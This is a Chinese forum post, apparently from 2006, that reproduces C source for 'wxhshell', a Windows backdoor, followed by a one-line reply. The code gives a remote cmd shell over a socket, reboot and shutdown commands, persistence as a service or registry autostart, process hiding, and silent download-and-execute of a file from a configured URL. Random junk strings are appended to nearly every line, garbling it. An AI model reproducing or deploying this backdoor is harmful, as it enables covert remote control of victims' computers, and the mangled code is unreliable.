  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v535LwFW  
  else 7qB}Hvh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DLYk#d: q?  
  } aOq>Ra{T  
  else { [>P@3t(/  
^$):Xz  
    switch(cmd[0]) { 6!} @vp![  
  OO@ (lt  
  // 帮助 n'D1s:W^B  
  case '?': { 7|6uY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !>B|z=  
    break; ,?GEL>F  
  }  {g?$u  
  // 安装 _B` '1tNx  
  case 'i': {   5;+OpB  
    if(Install()) B\a-Q,Wf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,m aA  
    else 8\m_.e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d `LBFH,  
    break; ]KfjZ!Qh  
    }  ?[Od.  
  // 卸载 gc-yUH0I  
  case 'r': { #%U5,[<a8  
    if(Uninstall()) i]8HzKuiW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c>~"Z-VtX  
    else WjxO M\?#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?|sC{'C4j  
    break; $LLkYOwI  
    } A-\OB Nh  
  // 显示 wxhshell 所在路径 nwh7DU i  
  case 'p': { F}P+3IaE  
    char svExeFile[MAX_PATH]; gF;i3OJg  
    strcpy(svExeFile,"\n\r"); n7`R+4/s  
      strcat(svExeFile,ExeFile); !es?GJq`  
        send(wsh,svExeFile,strlen(svExeFile),0); M]YK]VyG  
    break; Z@fMU2e=Z  
    } u1F@VV{  
  // 重启 Jg=[!j0(  
  case 'b': { q"OvuHBSOn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [psW+3{bG  
    if(Boot(REBOOT)) <A +VS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]e?<,"X  
    else { c%_I|h<?iT  
    closesocket(wsh); UD`bK a`E  
    ExitThread(0); RiC1lCE  
    } LutP&Ebt8  
    break; 4S>A}rWz  
    } _p/ _t76s  
  // 关机 V|3}~(5=  
  case 'd': { !6hUTjhW7z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O,"4HZG  
    if(Boot(SHUTDOWN)) ( /{Wu:e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hER]%)#r  
    else { p9k' .H^:_  
    closesocket(wsh); I/D (gY06<  
    ExitThread(0); H(U`S  
    } 4(>|f_$  
    break; [k-Q89  
    } %EA|2O.D  
  // 获取shell s(W]>Ib  
  case 's': { A L|F Bd  
    CmdShell(wsh); 6('2.^8  
    closesocket(wsh); ?zW4|0  
    ExitThread(0); xMNUy B{?  
    break; _oK*1#Rm8  
  } /?<o?IR~6  
  // 退出 iIFM 5CT  
  case 'x': { .$5QM&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Coz\fL  
    CloseIt(wsh); ) -x0xY  
    break; f0+)%gO{  
    } 7M*&^P\}es  
  // 离开 "w.gP8`  
  case 'q': { ;5qZQ8`4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oUrNz#U  
    closesocket(wsh); Vvk1 D(  
    WSACleanup(); F)_zR  
    exit(1); {2Jo|z  
    break; rnW(<t"  
        } rM/Ona2x  
  } KECo7i=e  
  } &5:83#*Oj  
qScc~i Oq  
  // 提示信息 y/57 >.3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I;xrw?=\L  
} c \cPmj@  
  } o NX-vN-  
qyzmjV6J2  
  return; ~R-P%l P  
} j4h6p(w{  
Q-<N)K$F(4  
// shell模块句柄 ayR=GqZ1  
int CmdShell(SOCKET sock) S- {=4b'  
{ yf7p,_E/  
STARTUPINFO si; W]b>k lp;  
ZeroMemory(&si,sizeof(si)); m{T:<:q~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,MH/lQq%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JmL{&  
PROCESS_INFORMATION ProcessInfo; *HiN:30DZ  
char cmdline[]="cmd"; [\eh$r\   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -I dW-9~9  
  return 0; Gf``0F)  
} j4pxu/2  
zf+jQ  
// 自身启动模式 4#?Sxs  
int StartFromService(void) MYyV{W*T>  
{ % NSb8@  
typedef struct <y4hK3wP  
{ o~<ith$A*  
  DWORD ExitStatus; h"R{{y f2  
  DWORD PebBaseAddress; }7)iLfi  
  DWORD AffinityMask; (R^X3  
  DWORD BasePriority; BMaw]D  
  ULONG UniqueProcessId; Eod'Esye5  
  ULONG InheritedFromUniqueProcessId; FfEP@$  
}   PROCESS_BASIC_INFORMATION; miWog8j  
{v CB$@/o  
PROCNTQSIP NtQueryInformationProcess; ;1x(~pD*o  
=+>cTV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .8[*`%K>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tZ|0wPp  
)wT @`p"4  
  HANDLE             hProcess; _,r2g8qm  
  PROCESS_BASIC_INFORMATION pbi; d2'1 6.lV  
a6Zg~>vX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j _]#Ew\q  
  if(NULL == hInst ) return 0; r xlKoa  
GnTCq_\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Owd{;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _#;UXAi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M/<>'%sj  
Zw@=WW[Q`p  
  if (!NtQueryInformationProcess) return 0; H5MO3DJ  
2iX57-6Ub  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6l Suzu  
  if(!hProcess) return 0; Rda~Drz  
y}5:CZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; faTp|T`nY  
Tj(DdR#w  
  CloseHandle(hProcess); _z6_mmMp  
dMw7UJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c+a"sx\  
if(hProcess==NULL) return 0; yyZs[5Q  
QVT|6znw  
HMODULE hMod; #E`wqI\'  
char procName[255]; Ec3TY<mVr  
unsigned long cbNeeded; #!yW)RG  
;q5.\m:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gXy'@ !  
_|^cudRv  
  CloseHandle(hProcess); a+!r5689  
LZ'Y3 *  
if(strstr(procName,"services")) return 1; // 以服务启动 G!<-9HA5  
Sm5 T/&z  
  return 0; // 注册表启动 gPJZpaS  
} f3;.+hJ])  
bz'#YM  
// 主模块 *@+E82D  
int StartWxhshell(LPSTR lpCmdLine) Z@1vJH6IbA  
{ PS:"mP7n  
  SOCKET wsl; ",, W1]"%  
BOOL val=TRUE; 6B8g MO  
  int port=0; &m5FYm\  
  struct sockaddr_in door; ^}Wk  
yiO/0nMp  
  if(wscfg.ws_autoins) Install(); +H**VdM6s  
%3kS;AaA  
port=atoi(lpCmdLine); Y[~Dj@Q<  
zm~sq_=^  
if(port<=0) port=wscfg.ws_port; %mFZ!(  
"h\ (a<  
  WSADATA data; r,8~qHbOT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lnQfpa8j  
l $:?82{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmy3pnL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oaj$Z- f  
  door.sin_family = AF_INET; ^l8&y;-T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bc3 T8(  
  door.sin_port = htons(port); Bw Cwy  
L]e@. /C$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \2#j1/d4  
closesocket(wsl); l>D!@`><I  
return 1; qGkD] L  
} U32&"&";c  
wSPwa,)7s  
  if(listen(wsl,2) == INVALID_SOCKET) { 7;rf$\-&  
closesocket(wsl); B;Dl2k^L  
return 1; . UaLP  
} '_fj:dy  
  Wxhshell(wsl); han S8  
  WSACleanup(); hd%O\D?  
cOoF +hz0O  
return 0; k [eWhdSw  
7*>(C*q=  
} =yCz!vc  
]!'}{[1}  
// 以NT服务方式启动 Nc_Qd4<[@G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &6O0h0Vy  
{ \Y$@$)   
DWORD   status = 0; D:=Q)Uh0I  
  DWORD   specificError = 0xfffffff; V2oXg  
Xaw&41K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :8LK}TY7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Kg( 6E,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XGcl9FaO}  
  serviceStatus.dwWin32ExitCode     = 0; Mh@RO|F  
  serviceStatus.dwServiceSpecificExitCode = 0; {^A,){uX]  
  serviceStatus.dwCheckPoint       = 0; 60XTdJkDkA  
  serviceStatus.dwWaitHint       = 0; 4S\St <  
M $\!SXL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]yV,lp  
  if (hServiceStatusHandle==0) return; Y+Cqc.JBQ  
WT'?L{  
status = GetLastError(); z/P^Bx]r  
  if (status!=NO_ERROR) @3_."-d  
{ ;y]BXW&l&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .vov ,J!Y  
    serviceStatus.dwCheckPoint       = 0; ,8&ND864v  
    serviceStatus.dwWaitHint       = 0; #!7b3>}  
    serviceStatus.dwWin32ExitCode     = status; Aq,&p,m03  
    serviceStatus.dwServiceSpecificExitCode = specificError; I~T~!^}U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *5z"Xy3J  
    return; K06x7W  
  } fl+dL#]  
9R3YUW}s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %T,cR>lw  
  serviceStatus.dwCheckPoint       = 0; *}RV)0mif  
  serviceStatus.dwWaitHint       = 0; COFCa&m9c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r 3FUddF'  
} qk_YFR?R  
['_W <  
// 处理NT服务事件,比如:启动、停止  CT[CM+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JWV n@)s  
{ |0$7{nQ  
switch(fdwControl) 'q7&MM'oS^  
{ hwi$:[  
case SERVICE_CONTROL_STOP: xz*MFoE  
  serviceStatus.dwWin32ExitCode = 0; d 6=Z=4w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <o: O<p@6  
  serviceStatus.dwCheckPoint   = 0; Xu%8Q?]  
  serviceStatus.dwWaitHint     = 0; a+ s%9l  
  { kn= fW1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2'-o'z<  
  } RN ~pC  
  return; "7}e~*bM?`  
case SERVICE_CONTROL_PAUSE: get$ r5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )~C+nb '6/  
  break; It8s#oq8  
case SERVICE_CONTROL_CONTINUE: ,jJbQIu#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 19*D*dkBR  
  break; LNOz.2fr>  
case SERVICE_CONTROL_INTERROGATE: (dHil#l  
  break; 4Ixu%  
}; h: Hpz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=C7V,a  
} !~-@p?kW/  
!CUX13/0  
// 标准应用程序主函数 ij&T \):d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2yPF'Q7u_.  
{ @2/ xu  
6\NBU,lY  
// 获取操作系统版本 bq"dKN`  
OsIsNt=GetOsVer(); {(_>A\zi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5uO.@0  
]}d.h!`<)  
  // 从命令行安装 k[8{N  
  if(strpbrk(lpCmdLine,"iI")) Install(); C7_nA:Rc  
|`Q2K9'4bL  
  // 下载执行文件 DlxL:  
if(wscfg.ws_downexe) { Ybp';8V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pe>[Ts`2F  
  WinExec(wscfg.ws_filenam,SW_HIDE); XG8UdR|  
} )|`w;F>  
M&5De{LS}  
if(!OsIsNt) { {8w,{p`  
// 如果时win9x,隐藏进程并且设置为注册表启动 x]pZcx9  
HideProc(); `c'R42S A  
StartWxhshell(lpCmdLine); Qt"i  
} 9k3RC}dEr  
else gi JjE  
  if(StartFromService()) j7 \y1$w  
  // 以服务方式启动 nrJW.F]S8[  
  StartServiceCtrlDispatcher(DispatchTable); EzGO/uZ]  
else *4O9W8Qz  
  // 普通方式启动 yBnUz"  
  StartWxhshell(lpCmdLine); 4N_iHe5U  
g$^I/OK?  
return 0; =m/BH^|&W  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五